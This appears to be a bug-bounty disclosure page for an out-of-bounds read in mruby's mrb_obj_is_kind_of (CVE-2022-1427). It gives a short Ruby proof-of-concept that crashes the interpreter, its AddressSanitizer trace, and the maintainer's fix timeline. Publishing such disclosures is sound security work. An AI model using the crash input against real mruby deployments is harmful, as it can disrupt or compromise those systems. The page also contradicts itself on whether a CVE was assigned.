Out-of-bounds Read in mrb_obj_is_kind_of in in mruby/mruby

0

Valid Reported on Apr 20th 2022

Out-of-bounds Read in mrb_obj_is_kind_of in mruby/mruby

Affected commit

791635a8d1ad9aad98aae0a36a91e092e4d71944

Proof of Concept

```
Math.initialize() do $4
   prepend dup
   4.instance_exec(){|| super() }
end
```

Below is the output from mruby ASAN build:

```
AddressSanitizer:DEADLYSIGNAL
=================================================================
==38614==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000010 (p
==38614==The signal is caused by a READ memory access.
==38614==Hint: address points to the zero page.
    #0 0x597d2e in mrb_obj_is_kind_of /root/mruby/mruby/src/object.c:468:14
    #1 0x619263 in mrb_vm_exec /root/mruby/mruby/src/vm.c:1763:12
    #2 0x6055da in mrb_vm_run /root/mruby/mruby/src/vm.c:1132:12
    #3 0x5fd9c0 in mrb_run /root/mruby/mruby/src/vm.c:3048:10
    #4 0x603853 in mrb_yield_with_class /root/mruby/mruby/src/vm.c:880:11
    #5 0x54a762 in mrb_mod_initialize /root/mruby/mruby/src/class.c:1649:5
    #6 0x616995 in mrb_vm_exec /root/mruby/mruby/src/vm.c:1646:18
    #7 0x6055da in mrb_vm_run /root/mruby/mruby/src/vm.c:11
    #8 0x5ff8b9 in mrb_top_run /root/mruby/mruby/src/vm.c:3
    #9 0x69b76b in mrb_load_exec /root/mruby/mruby/mrbgems/mruby-compiler/
    #10 0x69cb0b in mrb_load_detect_file_cxt /root/mruby/mruby/mrbgems/mrub
    #11 0x50c5bf in main /root/mruby/mruby/mrbgems/mruby-bin-mruby/tools/mr
    #12 0x7fa4263330b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.
    #13 0x41d84d in _start (/root/mruby/mruby/bin/mruby+0x41d84d)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /root/mruby/mruby/src/object.c:468:14 in mr
==38614==ABORTING
```

Test Platform:

Ubuntu 18.04

Impact:

Possible arbitrary code execution if being exploited.

Acknowledgements

This bug was found by Ken Wong(@wwkenwong) from Black Bauhinia(@blackb6a) and Alex Cheung

Impact

Impact:

Possible arbitrary code execution if being exploited.

CVE
CVE-2022-1427
(Published)

Vulnerability Type
CWE-125: Out-of-bounds Read

Severity
Medium (6.9)

Registry
Other

Chat with us

Affected Version
791635a8d1ad9aad98aae0a36a91e092e4d71944

Visibility
Public

Status
Fixed

Found by

wwkenwong
@wwkenwong
unranked

Fixed by

Yukihiro "Matz" Matsumoto
@matz
maintainer

This report was seen 629 times.

We are processing your report and will contact the **mruby** team within 24 hours. 7 months ago

We have contacted a member of the **mruby** team and are waiting to hear back 7 months ago

Yukihiro "Matz" Matsumoto modified the report 7 months ago

Yukihiro "Matz" Matsumoto validated this vulnerability 7 months ago

wwkenwong has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

The researcher's credibility has increased: +7

Yukihiro "Matz" Matsumoto marked this as fixed in **3.2** with commit **a4d97**

Chat with us

Yukihiro "Matz" Matsumoto has been awarded the fix bounty ✓

This vulnerability will not receive a CVE ×

Sign in to join this conversation

huntr

home

hacktivity

leaderboard

FAQ

contact us

terms

privacy policy

part of 418sec

company

about

team